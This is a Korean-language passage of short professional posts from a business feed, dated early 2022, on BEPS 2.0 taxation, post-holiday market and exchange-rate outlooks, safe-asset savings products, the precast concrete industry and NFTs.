것이었습니다. 그래서 미국 정부에서는 새로운 타협안을 21년 5월에 내놓게 되는데요. Digital 기업에 대해서만 과세권을 조정하는 것이 아니라 글로벌 매출액이 일정기준 이상 되는 기업들의 초과이윤에 대해서 매출 발생 국가에 과세권을 배분할 수 있는 새로운 규정을 도입하자는 것이었습니다. 그래서 논의가 Digital 기업에 대한 과세권을 조정하자는 'Digital Tax'라는 이름을 더 이상 사용하지 않고 앞으로 'BEPS 2.0'이라는 이름을 사용하게 되었습니다. 결국은 모든 International 정책과 규정은 미국의 입장이 충분히 반영되지 않으면 성사될 수 없다는 것을 다시 한번 일깨워주는 듯 하여 먼가 씁쓸함이 남는 듯 합니다. 2022년 한해 동안 세부적인 규칙 등을 제정하고, 국내에서도 관련 국내법 입안 및 개정 등을 통하여 2023년 1월 1일 본격적인 시행 예정이라고 합니다. 글로벌 기업들은 아마 International Tax 관련하여 세무 담당자를 충원하거나 신규 배치해야 할 필요성이 증가할 듯 하네요. 다음 글에서는 BEPS 2.0 Pillar 1. 글로벌 과세권 조정에 대해서 써보겠습니다. https://app.rmbr.in/H8vRzxXxvnb 그리고 그 다음엔 BEPS 2.0 Pillar 2. 글로벌 최저한세까지 다뤄 보겠습니다. https://app.rmbr.in/fW5KgsOJBnb
김현녕 | (주)GS글로벌
2022.02.03
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🌎 설 연휴, 글로벌 금융시장은?
✔ 저는 증권사 운용역 출신입니다. ✔ 상장기업과 스타트업에 투자하고 있구요. ✔ 초기 스타트업의 비즈니스를 돕고 있어요. ----------  설 연휴기간동안 글로벌 금융시장은 어떻게 움직였을까? 또 2월의 주식시장은 어떨까? ① 애플이 호실적을 발표하면서 지난주 금요일에 6.9% 상승했고, 월요일에는 2.6% 상승했다. 무엇보다 공급망 이슈가 해소될 가능성에 대해 시사한 점이 긍정적이다.   ② 시장에서는 미국 연준이 3월에 기준금리를 50bp 올릴 수 있다는 우려가 있었다. 하지만 보스틱 애틀란타 연은 총재와 블라드 세인트루이스 연은 총재가 50bp 인상을 반대한다고 언급하면서 시장의 우려를 잠재운 듯 하다. ③ 지난주 금요일에 1,213원까지 상승했던 원달러 환율이 1,200원까지 하락했다. 여전히 상승추세에 있기 때문에 계속 주목해야겠지만, 단기적으로는 환율 상승 부담이 완화된 것으로 보인다. ④ S&P 500 VIX도 하락했습니다. 변동성이 낮아진다는 것은 그만큼 리스크도 낮아진다는 의미로 받아들이죠.   ⑤ 위의 내용들에 따르면, 코스피지수는 2월 첫 시작일에 상승할거라는 기대가 된다. 그럼 코스피지수는 앞으로 얼마나 상승할 수 있을까? 이 데이터에 따라 내 계좌에 주식비중을 얼마나 담을지 고민하면 좋을 듯 하다. 1월에 글로벌 금융시장이 하락한 원인 중 하나로 미국 연준의 기준금리 인상을 얘기했다. 그리고 바닥을 찾기 위해 과거에 연준이 금리를 인상했던 시기에 미국과 한국의 주식시장에 어떻게 반응했는지 데이터를 분석했었다. 지금은 반등하는 시점에서 얼만큼 반등할 수 있을지에 대해 과거 데이터를 분석해봤다. 2004년 7월부터 금리를 인상하기 시작한 시기에는 아래의 데이터처럼 코스피지수가 37.5% 상승했다. 이걸 현재에 대입해보면, 코스피지수는 3,662.09pt까지 상승할 가능성이 있어 보인다. 2004년 7월 735.34pt 2005년 2월 1,011.36pt +37.5% 그리고 금융위기 이후에 연준이 금리를 본격적으로 인상하던 시기에는 코스피지수가 21.1% 상승했다. 이를 현재에 대입해보면 코스피지수는 3,225.30pt까지 상승할 것으로 보인다. 2016년 11월 1,983.48pt 2017년 07월 2,402.71pt +21.1% 4분기 실적과 가이던스에 따라 코스피지수는 전 고점을 돌파할 수도 있겠지만, 그 가능성은 아직까지는 낮은 듯 하다. 그래서 1차적으로 3,225pt를 1차 저항선으로 두고 투자를 하면 좋지 않을까 생각이 든다. ---------- 📣 과거의 패턴이 그대로 반복되진 않아요. 그래서 단순 참고용으로만 봐주시기 바랍니다. 아무쪼록 2월 이후부터는 좋은 성과로 따스한 봄을 맞이하셨으면 좋겠습니다.
토니 | INNOEX
2022.02.02
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2월 환율 흐름과 관련된 이슈 체크
안녕하세요. 마이스터투자자문 고경지입니다. 외환과 관련된 일을 하다보니 환율과 관련된 뉴스들은 연휴에도 보게되네요:) 2월 환율 흐름에 영향을 미칠만한 몇가지 이슈들을 적어보았습니다. 매파적 FOMC라고 표현된 1월 FOMC가 끝나고 1월 환율은 1205.6원에 마무리 되었습니다. 설 연휴동안 역외에서 1210원을 상회하기도 했지만 연준의원들이 시장이 예상하는 50bp상승에 대해 부정적인 인터뷰를 하면서 위험회피심리가 누그러졌고 역외환율은 1200원 초반으로 하락했습니다. 1월에 터진 다양한 악재들이 외국인 증시 이탈을 이끌었고 이로 인해 환율은 1200원을 넘나들었었는데요. 2월달에는 어떤 이슈들이 환율에 영향을 줄 수 있을지 생각해보겠습니다. 1. 미FOMC 스탠스 파월의장의 모든 것이 가능할 것 같은 뉘앙스의 기자회견은 시장을 불안하게 하였는데요. 시장은 당장이라도 금리인상이 50bp가 될것처럼 받아들였지만 연준의원들은 그에 대해 선을 그었습니다. 특히 매파적으로 알려져 있는 세인트루이스 제임스 블라드 총재 또한 50bp인상을 선호하지 않는다고 언급하기도 했는데요. 시장에서 3월 50bp인상에 대한 부담감이 감소되며 달러 강세를 제한 할 수 있습니다. https://n.news.naver.com/article/215/0001012447 2. 인플레 지속, 주요국 통화정책 정상화 유럽 ECB에서는 그간 지속해서 긴축에 대해서 선을 그었습니다. 차별화된 통화정책 가능성에 유로화는 약세로 흘렀고 상대적으로 달러 강세 요인이 되었습니다. 하지만 유럽의 인플레이션도 지속적으로 상승하면서 ECB에서 더이상 통화완화정책을 유지할 수 있지 못할 것이라는 분석이 나오고 있습니다. 유럽에서 미국처럼 긴축 분위기가 나온다면 유로화 강세로 글로벌 달러 강세를 제한 할 수 있습니다. https://n.news.naver.com/article/003/0010977376 3. 외국인 증시 매도세 지속 &무역수지 적자 그렇다고 그간의 환율 상승요인이 모두 없어진 것은 아닙니다. 그동안 풀린 유동성은 축소될것이 분명하니까요. 그로 인한 외국인 투자 유출은 환율 상승 요인입니다. 또한 한국의 무역수지가 2달연속 적자를 나타내고 있습니다. 급등한 원자재 가격으로 인해 수입이 증가된 탓인데요. 물론 우리나라만의 문제는 아닙니다만 무역수지는 달러의 수급과도 관련되어있기에 유의해서 봐야하는 부분입니다. 그나마 수출증가율이 아직까지는 증가추세라는 것이 긍정적인 부분이라고 볼수 있을 것 같습니다. https://n.news.naver.com/article/003/0010975532 4. 지정학적리스크 최근 우크라이나와 러시아와의 충돌이 국제적으로 위험회피심리로 적용되었는데요. 실제 전쟁이 일어날 가능성은 낮다고 보여지지만 잠재적리스크 중 하나입니다. https://n.news.naver.com/article/018/0005138022?cds=news_edit 한편, 최근 북한에서도 미사일을 계속 쏘고 있는데 이제는 북한 미사일의 영향이 거의 없는 것 같네요. 마치 양치기 소년같은 느낌입니다. 근데 예전보다 미사일 뉴스가 자주나오기는 하네요. 연휴동안 나온 뉴스 약 4가지정도로 추려보았습니다. 오미크론 확진자가 이만명을 넘어섰다고 하지만 이제 오미크론관련 영향도 조금은 줄어든 것 같습니다. 2월은 영업일수가 적은달이기도 해서 금방 지나갈 것 같네요. 환율은, 조심스럽게 예상해 보자면 상하단이 제한된 레인지 장세가 지속될 것 같습니다. 1월 악재가 많이 터져서 추가 상승힘은 조금 약하지만 3월달 FOMC도 대기하면서 하단도 지지될 것으로 보이네요. 읽어주셔서 감사합니다. 오늘도 좋은 하루되세요!
고경지 | (주)마이스터투자자문
2022.02.02
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(자산배분) 흔들리는 경제환경 속 안전자산 상품은?
자산배분이란 기대수익과 위험이 다른 여러 자산집단을 대상으로 투자자금을 배분하여 최적의 투자결과를 얻기 위한 행동입니다. 이것이 중요한 이유는 개별자산에 투자하는 것보다 자산배분의 투자성과가 더 크게 미치기 때문입니다. (Brinson, Hood and Beebower : 1986, 1991) 의 연구 결과 - 자산배분 91.5%, 종목선정 4.6%, 마켓타이밍 1.8% 기타 2.1% 가 투자수익률에 미치는 영향이라고 하였습니다.) 자산분산을 하여 안정적인 수익을 추구할 수 있습니다. 그런데 실은 이 툴을 지키는것이 참 쉽지 않다는 것을 알고 있답니다. 그 이유는 다양한 매체를 통해 무작위로 들어오는 방대한 양의 정보 때문일 수도 있습니다. 쉼없이 듣다보면 그것이 최선인 것 같고 다른 것들은 차선으로 밀리는 경우가 생깁니다. 이를 테면, 주식과 채권을 분산해서 투자를 해야 한다는 것을 이론적으로 알고 있지만, 주식 투자를 하여 기대이상의 수익이 났을 때는 그 툴을 벗어나 안전성보다는 수익만을 쫒게 되는 것이지요. 안타까운 것은 그 신념과 일치하는 정보는 수용하고, 그렇지 않는 정보는 무시함으로서 점점 더 왜곡될 수도 있다는 점입니다. 그래서 기본을 튼튼히 한다는 생각으로 먼저, 지금의 시장의 안전자산 상품에 대해 정리를 해 보았습니다. 안전자산 상품은 기본 정기예금이 있습니다. 예금자 보호가 되면서도 1년 기준 연2%이상의 금리를 확정적으로 받을 수가 있답니다. 그런데 지금은 금리 인상 이슈가 있으니 단기 3개월, 6개월 정기예금을 한 후 그 뒤에 1년 정기예금을 이용해 보는 것도 좋을 시기랍니다. 3년 이상 유지 시 비과세 및 분리과세를 할 수 있는 신탁형ISA도 저축은행 1년 예금 약 2.3%상품을 담을 수 있습니다. 기간을 길게하면 금리는 더 높습니다. (ISA는 신탁형ISA, 일임형ISA, 중개형ISA 3가지 종류가 있습니다. 운용방법 차이가 있으니 개인의 성향에 맞추어 선택하시면 됩니다. 19세 이상의 거주자인 경우라면 꼭 비교해서 챙겨보면 좋을 상품이랍니다.) 그리고 채권투자 이야기를 많이 하는데요. 채권투자도 주식투자처럼 리스크가 클 수 있답니다. 하이일드 채권의 경우는 수익률이 주식처럼 움직이기도 하는 등 채권의 종류도 다양하고, 성질도 정말 달라서 제대로 알고 투자해야 한답니다. 금리 인상기인 요즘은 장기채권보다는 듀레이션이 짧은 단기채권에 투자하는 것이 안전해 보입니다. 증권사 HTS를 통해서 개인이 직접 그런 채권에 투자할 수도 있지만 채권펀드나 채권ETF를 살펴서 투자하는 것이 수월하답니다. 혹, 일정 금액 이상이 된다면, 전단채(1년 미만의 단기채권) 같은 상품도 있답니다. 회사채 A1등급 이상에 증권사 매입확약 조건으로 금리가 3개월에 연2.1% 같은 상품을 가입할 수 있다면 금상첨화이죠. 이런 괸찮은 등급 상품은 한도가 빨리 소진되니 미리미리 증권사나 은행에 관심표현을 한다면 매물을 받을 수 있답니다. 원금 보장 자산이면서 노후를 대비하는 연금보험 같은 것도, 수익률 면에서는 크게 재미는 없지만 꼭 필요한 상품입니다. 어찌보면 정기예금을 매년 재연장 하며 15.4% 이자소득세 내고 금융소득이 건강 보험료 합산이슈에 노출되느니, 비과세 받으며 연 복리 투자 를 하는 연금 상품도 매력 있습니다. 자금 필요시 중도인출하면 되는 부분도 최근에 진화한 버전이고요. 다만, 장기상품이니 신중한 가입고민 꼭 필요하답니다. 이렇게만 써놓고 보니, 참 수익률이 너무 아쉽네요. 마치 항공모함인데, 항구에만 정박해 놓은 느낌인것처럼요! 하지만, 초보 선장라면 태풍이 불 때는 무모하게 망망대해로 나가는 것보다 알고 가는 것이 도움될 것 같습니다.
김해진 | 하나은행
2022.02.01
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Precast Concrete 시장의 현주소
국내에 상반기 신규 프로젝트 수주가 가능한 건축PC Precast Concrete 업체가 없는 실정이다. 작년에 코로나로 인한 공장가동 중단, 생산인력 본국 귀환 등으로 PC부재 생산이 3~6개월 지연중이며 PC공장에 일할 사람이 지속 부족중이다. 현장 RC공사도 사람이 없어 지연중이라 PC공사로 변경해서 공기를 단축하고 싶어도 생산해줄 공장이 없는 상황이다. 다들 물량이 차있어서~ 일은 많이 하고 있는데 원자재 단가 폭등, 인건비 폭등으로 PC공사 단가도 2배이상 폭등 중이다. 작년에 폭등한 물가인상분을 원청사에 정산 요청중이나 다들 협상은 지지부진하고 있으며 작년의 적자를 올해 메꾸고자 시장단가도 지속 상승중이다 이런 상황이다 보니 레미콘사업을 하는 업체 콘크리트 제품을 만드는 업체 등 설비투자해서 건축피씨 생산을 하고자하는 신규업체 들도 지속 건축피씨 시장에 진입하고 있다. 연간 1.5조정도 추정했던 건축PC시장은 앞으로 5조, 10조 이상 지속 시장 확대될 가능성까지 나오고 있다. 반도체 7개 140만m3, 물류센터 최소 천개 1,000만m3,가 향후 10년동안 발주 예정이다보니 현재 아파트 지하주차장이나 옥상조형물, 지식산업센터는 PC공사로 하고싶어도 해줄업체를 찾기가 쉽지않다. (몰드 매당 생산성이 반도체공장과 물류센터가 좋음) 올해부터는 PC부재 생산만 된다면 돈을 벌 수 있는 시기이다. 적정 품질만 확보된다면 일은 널려있기에 제조를 양만 많이 할 수 있다면 남을 시기가 왔다. 건축피씨 제조사업을 위해서는 1. 땅이 넓게 있어야 한다. 2. B/P 시설이 있어 레미콘을 만들 수 있어야한다. 3. 크레인과 보일러 시설 등 생산 설비가 있어야 한다. 4. 철근 등 을 절단가공하고 조립하며 콘크리트를 타설하고 강재 몰드를 개조할 사람이 있어야 한다 5. 끊임없이 안전과 품질을 확인하고 개선할 사람이 있어야한다. 1~3번은 대규모 자본이 있어야 하며 4~5번은 우수한 인력확보가 관건이다. 이러다보니 아무나 사업을 벌릴수도 없고 자본만 많다고 투자했다가 우수한 인력을 확보하지 못한다면 망하기 쉽상이다 이미 국내 건축피씨 생산CAPA보다 PC공사 발주량이 초과되어 있는 상황이며 신규업체가 늘고 있지만 막대한 자본과 인력이 필요하기에 속도가 더디기 때문에 이 추세가 짧으면 2~3년 길면 10년도 더 갈 수 있을 상황이다. PC시장 최대의 호황기가 22년도부터 오고 있네요! 안전하고 빠르고 품질좋게 PC공사를 하고자 합니다!
오창환 | 지산PC
2022.01.31
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NFT와 디파이 우리가 피할수 없는 주제
루리웹에서 월급쟁의 후회의 삼각지대에서 “그때 비트코인을 샀더라면, 그때 집을 샀더라면, 그때 그 주식을 샀더라면”라는 글을 보면서 많은 사람들이 후호를 하고 있다고 한다. NFT와 디파이가 바로 2022년이 바로 [그때] 일지는 바로 알수는 없다. 여러분은 주식과 부동산이 아닌 1세대 디지털 세상의 부자들이 가진 비트코인의 광풍이 휩쓸고 간 뒤에 2세대 디지털 부자가 될 수 있는 기회인 NFT와 디파이를 마주하고 있다. 미술만이 아닌 음악에도 NFT에 관련된 이야기가 나오고 있다. 매월 월간으로 발행되는 2022 [월간 윤종신] 1월호 ’NFT’는 지금 가장 사랑하는 사람들의 이야기라고 한다. 윤종신은 사랑에 빠진 두 사람이 한창 만들어가고 있는 '대체 불가능한’ 어떤 순간과 시간, 기억과 추억을 담고, 서로에게 자신의 한 시절을 기꺼이 내어주며 그것을 고유하게 완성해보려는 두 사람을 ‘NFT(Non-Fungible Token)’ 개념을 차용해 ‘NFT(Non-Fungible Two)’라는 새로운 단어를 만들었다고 한다. 이제 일상에서 NFT라는 개념을 빠지고 애기할수 있는 부분은 많지 않다. 세상은 변화하고 있고 우리는 시대에 적응을 해야 한다는 생각을 하고 있지만 말처럼 쉽지는 않다. 지금 NFT 시장은 하루하루 변화하고 있다. 2015년 비트코인을 공부하여 자신만의 철학을 세우고 투자를 해야 하듯이 2022년 디지털 부자가 되려면 NFT와 디파이는 반드시 알아야 할 주제이다.
백남정 | 디지털기술융합협회
2022.01.31
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